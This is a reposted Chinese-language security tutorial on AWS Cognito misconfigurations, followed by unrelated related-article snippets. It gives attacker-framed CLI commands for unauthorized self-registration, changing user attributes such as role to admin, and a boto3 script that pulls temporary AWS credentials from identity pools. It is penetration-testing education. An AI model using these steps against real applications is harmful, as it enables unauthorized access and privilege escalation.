云上攻防 | AWS中的常见 Cognito 配置错误

news2024/11/17 21:38:15

引言

AWS Cognito 是由亚马逊网络服务(AWS)提供的全托管服务,旨在简化 Web 和移动应用程序的用户认证和授权过程。它提供了一整套功能来处理用户注册、登录和用户管理,免去了开发人员从头构建这些功能的需求。

尽管本文讨论的攻击和配置错误已经有大量文献记载,并且得到了各种资源的关注,但重申它们的重要性仍然至关重要,以强调在 AWS Cognito 部署中确保安全配置和持续监控的重要性。

图片

AWS Cognito 组件

AWS Cognito 提供了两个主要组件:用户池身份池

1.用户池: 用户池允许开发人员创建和管理一个可自定义的用户目录,以处理用户注册、登录和账户恢复。用户池支持多种认证方法,包括用户名和密码、社交登录(如 Google 或 Facebook)以及多因素认证(MFA)。用户池还处理用户档案管理,使您可以存储针对应用程序需求的自定义属性。

2.身份池: 身份池,也称为联合身份池,允许用户获取临时的 AWS 凭证以访问 AWS 服务。通过身份池,您可以集成第三方身份提供者(如 Google、Facebook 或您自己的身份系统)来验证用户并授予他们访问 AWS 资源的权限。

图片

图片

💡 快速提示: 如果你发现应用程序中加载了 aws-sdk.min.js 或 amazon-cognito.min.js,那么你应该立即检查是否有 Cognito 参数或硬编码的 AWS 凭证。

常见的 User Pools 攻击

AWS Cognito 用户池的一个关键方面是生成和使用 JSON Web Tokens (JWTs) 来进行认证和授权。

检测 Cognito User Pools 的使用:

要识别是否使用了 Cognito User Pools,可以在应用程序的 JS/HTML 源代码中查找 UserPoolID 或 ClientId。

图片

此外,观察 Web 应用程序发出的对 AWS Cognito 的登录/注册调用。

图片

攻击示例

让我们深入探讨一些常见的攻击向量。

假设一个 Web 服务使用了 Cognito,但没有提供注册选项。

图片

我们可以尝试以下方法:

注册绕过: 攻击者可以尝试通过使用 AWS CLI 绕过常规的应用程序注册流程。通过执行 aws cognito-idp sign-up 命令并提供适当的参数(例如虚假的电子邮件地址和选择的密码),攻击者可以启动注册过程,而无需按照预期的步骤进行。

aws cognito-idp sign-up --client-id '[ClientId]' --username 'mail@hacker.com' --password 's3cr4tP@ss' --user-attributes '[{"Name":"email","Value":"mail@email.com"}]'

图片

确认注册: 在启动注册过程后,攻击者需要确认用户账户。这可以通过使用 aws cognito-idp confirm-sign-up 命令来完成,该命令需要客户端 ID 和在注册过程中使用的用户名/电子邮件,以及确认代码。

aws cognito-idp confirm-sign-up — client-id '[ClientId]' — username 'mail@hacker.com' — confirmation-code '013370'

图片

图片

登录与 JWT 令牌获取: 使用创建的用户账户,攻击者可以启动登录过程以获取 JWT 令牌。通过使用 aws cognito-idp initiate-auth 命令,并提供适当的区域、客户端 ID 和认证参数(用户名和密码),攻击者可以从响应中获取 JWT 令牌。

aws cognito-idp initiate-auth --region YOUR_REGION --client-id YOUR_CLIENT_ID --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=YOUR_USERNAME,PASSWORD=YOUR_PASSWORD

否则,攻击者可以直接将新注册的凭证输入到登录表单中。

图片

图片

图片

操控用户属性: 一旦攻击者拥有有效的 JWT 令牌,他们可以通过操控用户属性来与用户池进行交互。使用 aws cognito-idp update-user-attributes 命令,攻击者可以直接修改诸如电子邮件或应用角色等属性,从而可能赋予自己更高的权限或更改账户信息。

寻找一些有趣的参数,例如“email_verified”、“admin”、“debug_mode”、“is_premium”等。如果没有适当的 Lambda 触发器或权限配置错误,您将能够通过 CLI 更改这些属性。

扩展攻击向量,攻击者可以尝试指定现有用户的电子邮件地址,并改变其大小写(例如 user@test.com[1] 和 UsEr@test.com[2])。如果应用程序在后台登录之前对电子邮件地址进行了规范化,这可能导致未经授权的访问。

要获取用户设置的属性列表,请运行以下命令:

aws cognito-idp get-user --access-token [AccessToken]

然后尝试直接更改属性:

aws cognito-idp update-user-attributes --access-token 'TOKEN' --user-attributes '[{"Name":"email","Value":"any@mail.com"}, {"Name":"role","Value":"admin"}]' --region=us-east-2

常见的 Identity Pools 攻击

检测 Cognito Identity Pools 的使用:

可以在 JS/HTML 源代码中找到 IdentityPoolID。此外,您可能会发现使用 JWT 令牌检索临时 AWS 凭证的引用。

图片

您可以从身份池中检索临时 AWS 凭证。这些凭证随后可以用来访问 AWS 资源。

可以通过 CLI 完成这一操作:​​​​​​​

aws cognito-identity get-id --identity-pool-id <identity-pool-id> aws cognito-identity

get-credentials-for-identity --identity-id <identity-id-from-previous-command>

或使用python脚本:

import boto3region='us-east-1'
identity_pool='us-east-1:XXXXXXXXXXXXXXXXXXXXXXXXXX'client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)_id = _id['IdentityId']credentials = client.get_credentials_for_identity(IdentityId=_id)access_key = credentials['Credentials']['AccessKeyId']secret_key = credentials['Credentials']['SecretKey']session_token = credentials['Credentials']['SessionToken']identity_id = credentials['IdentityId']
print("Access Key: " + access_key)print("Secret Key: " + secret_key)print("Session Token: " + session_token)print("Identity Id: " + identity_id)

或者,您可以拦截应用程序向 Cognito 发送的请求:

图片

攻击示例

接下来,您可以使用自动化工具或通过 CLI 手动探索 AWS 账户。

图片

无偿获取网络安全优质学习资料与干货教程

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2169696.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

8.11 矢量图层线要素单一符号使用二(箭头)

8.11 矢量图层线要素单一符号使用二(箭头)_qgis箭头-CSDN博客 目录 前言 箭头&#xff08;Arrow&#xff09; QGis设置线符号为箭头(Arrow) 二次开发代码实现 总结 前言 本章介绍矢量图层线要素单一符号中箭头&#xff08;Arrow&#xff09;的使用说明&#xff1a;文章中…

等保2.0数据库测评之达梦数据库测评

一、达梦数据库介绍 达梦数据库管理系统属于新一代大型通用关系型数据库&#xff0c;全面支持 ANSI SQL 标准和主流编程语言接口/开发框架。行列融合存储技术&#xff0c;在兼顾 OLAP 和 OLTP 的同时&#xff0c;满足 HTAP 混合应用场景。 本次安装环境为Windows10专业版操作…

华夏ERP3.1权限绕过代码审计

POC: /jshERP-boot/user/getAllList;.ico 调试分析poc: 这是poc很明显就是绕过权限&#xff0c;我们分析filter里面的代码。 Overridepublic void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException {Htt…

基于Spring Boot的校园管理系统

目录 前言 功能设计 系统实现 获取源码 博主主页&#xff1a;百成Java 往期系列&#xff1a;Spring Boot、SSM、JavaWeb、python、小程序 前言 随着科学技术的飞速发展&#xff0c;社会的方方面面、各行各业都在努力与现代的先进技术接轨&#xff0c;通过科技手段来提高自…

使用API有效率地管理Dynadot域名,设置域名服务器(NS)

前言 Dynadot是通过ICANN认证的域名注册商&#xff0c;自2002年成立以来&#xff0c;服务于全球108个国家和地区的客户&#xff0c;为数以万计的客户提供简洁&#xff0c;优惠&#xff0c;安全的域名注册以及管理服务。 Dynadot平台操作教程索引&#xff08;包括域名邮箱&…

SQL Server的文本和图像函数

新书速览|SQL Server 2022从入门到精通&#xff1a;视频教学超值版_sql server 2022 出版社-CSDN博客 《SQL Server 2022从入门到精通&#xff08;视频教学超值版&#xff09;&#xff08;数据库技术丛书&#xff09;》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) SQL Se…

【Python】Ajenti:轻量级、强大的服务器管理面板

在现代服务器管理中&#xff0c;管理员们经常需要通过命令行执行各种任务&#xff0c;这不仅耗时&#xff0c;而且对不熟悉 Linux 系统的用户来说并不友好。为了更高效地管理服务器、网站和应用&#xff0c;借助一个功能强大的管理面板是非常有必要的。Ajenti 就是这样一款轻量…

MySql数据库---判断函数,和窗口结合的函数,窗口函数

思维导图 判断函数 if(expr,v1,v2): 表达式结果为true返回v1,否则返回v2 ifnull(列名,dv): 列值为null返回dv,否则返回列值. nullif(expr1,expr2): 表达式1表达式2返回null,不等于返回表达式1的值. 窗口函数 作用: 可以为表新增一列,新增的列是什么取决于over()函数前面的函…

Spring Boot入门到精通:网上购物商城系统

第3章 系统分析 3.1 可行性分析 在系统开发之初要进行系统可行分析&#xff0c;这样做的目的就是使用最小成本解决最大问题&#xff0c;一旦程序开发满足用户需要&#xff0c;带来的好处也是很多的。下面我们将从技术上、操作上、经济上等方面来考虑这个系统到底值不值得开发。…

Cisco Secure Firewall Management Center Virtual 7.6.0 发布下载,新增功能概览

Cisco Secure Firewall Management Center Virtual 7.6.0 - 思科 Firepower 管理中心软件 Firepower Management Center Software for ESXi & KVM 请访问原文链接&#xff1a;https://sysin.org/blog/cisco-fmc-7/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留…

WPS中让两列数据合并的方法

有这样一个需求&#xff0c;就是把A列数据和B列数据进行合并&#xff08;空单元格略过&#xff09;具体实现效果如图下&#xff1a; 该如何操作呢&#xff1f; 首先在新的一列第一个单元格中输入公式"A1&B1" 然后回车&#xff0c;就出现了两列单元格数据合并的效…

人员个体检测、PID行人检测、行人检测算法样本

人员个体检测算法主要用于视频监控、安全防范、人流统计、行为分析等领域&#xff0c;通过图像识别技术来检测和识别视频或图像中的人员个体。这种技术可以帮助管理者实时监控人员活动&#xff0c;确保安全和秩序&#xff0c;提高管理效率。 一、技术实现 人员个体检测算法通常…

光耦——连接半导体创新的桥梁

半导体技术作为现代科技的重要支柱之一&#xff0c;在电子、通信、能源等领域都有着广泛的应用。而在半导体领域&#xff0c;光耦作为一种重要的光电器件&#xff0c;正以其独特的优势和广泛的应用领域&#xff0c;为半导体创新注入新的活力&#xff0c;成为连接半导体创新的桥…

IMX6UL开发板中断实验(三)

在上一节我们编写完成了中断驱动文件和中断驱动头文件&#xff0c;那么这一讲我们将继续中断实验 下面就是GPIO的中断设置&#xff0c;第一步要设置中断GPIO的触发方式&#xff0c;首先我们先看到寄存器&#xff0c;一共有GPIOx_ICR1和ICR2&#xff0c; 图如上&#xff0c;ICR1…

TortoiseGit 下载和安装

下载 1&#xff0c;下载路径 Download – TortoiseGit – Windows Shell Interface to Git 2&#xff0c;选择windows64的&#xff0c; 3&#xff0c;下载完成后 安装 1&#xff0c;双击运行&#xff0c;点击next 2&#xff0c;点击next 3&#xff0c;点击next 4&#xff0…

unity_Occlusion_Culling遮挡剔除学习

unity_Occlusion_Culling遮挡剔除学习 文档&#xff1a; https://docs.unity.cn/cn/2019.4/Manual/occlusion-culling-getting-started.html没彻底搞明白&#xff0c;但是会用&#xff0c;虽然也不熟练 设置遮挡剔除 打开遮挡剔除面板 设置场景物体。设置为静态 设置场景 烘…

ZYNQ:开发环境搭建

资料下载 http://47.111.11.73/docs/boards/fpga/zdyz_qimxing(V2).html Vivado软件是什么&#xff1f; Vivado软件是Xilinx&#xff08;赛灵思&#xff09;公司推出的一款集成设计环境&#xff08;IDE&#xff09;&#xff0c;主要用于FPGA&#xff08;现场可编程门阵列&am…

【Spring】Spring Aop基础入门

一、AOP(Aspect-Oriented Programming: 面向切面编程) 将那些与业务无关&#xff0c;却为业务模块所共同调用的逻辑&#xff08;例如事务处理、日志管理、权限控制等&#xff09;封装抽取成一个可重用的模块&#xff0c;这个模块被命名为“切面”&#xff08;Aspect&#xff09…

【Linux系统编程】第二十四弹---从零到一:掌握进程替换的奥秘

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】 目录 1、进程程序替换 1.1、替换原理 1.2、替换函数 1.3、函数解释 1.4、命名理解 1.5、代码演示 1.5.1、execl调用举例 1.5…

线上环境排故思路与方法GC优化策略

前言 这是针对于我之前[博客]的一次整理&#xff0c;因为公司需要一些技术文档的定期整理与分享&#xff0c;我就整理了一下。(https://blog.csdn.net/TT_4419/article/details/141997617?spm1001.2014.3001.5501) 其实&#xff0c;nginx配置 服务故障转移与自动恢复也是可以…